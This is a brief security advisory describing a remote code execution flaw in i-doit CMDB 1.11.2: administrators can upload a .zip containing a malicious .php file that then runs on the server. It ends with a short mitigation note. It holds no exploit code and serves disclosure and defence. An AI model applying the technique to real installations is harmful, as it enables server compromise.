i-doit CMDB 1.11.2 – Remote Code Execution

This application has an upload feature that allows an authenticated user with administrator roles to upload arbitrary files to the main website directory. An attacker can upload a .zip file containing a malicious .php file, which can then be executed remotely.

Mitigation:

Ensure that the application is configured to only accept files with specific extensions and that the application is configured to only allow authenticated users with the appropriate privileges to upload files.
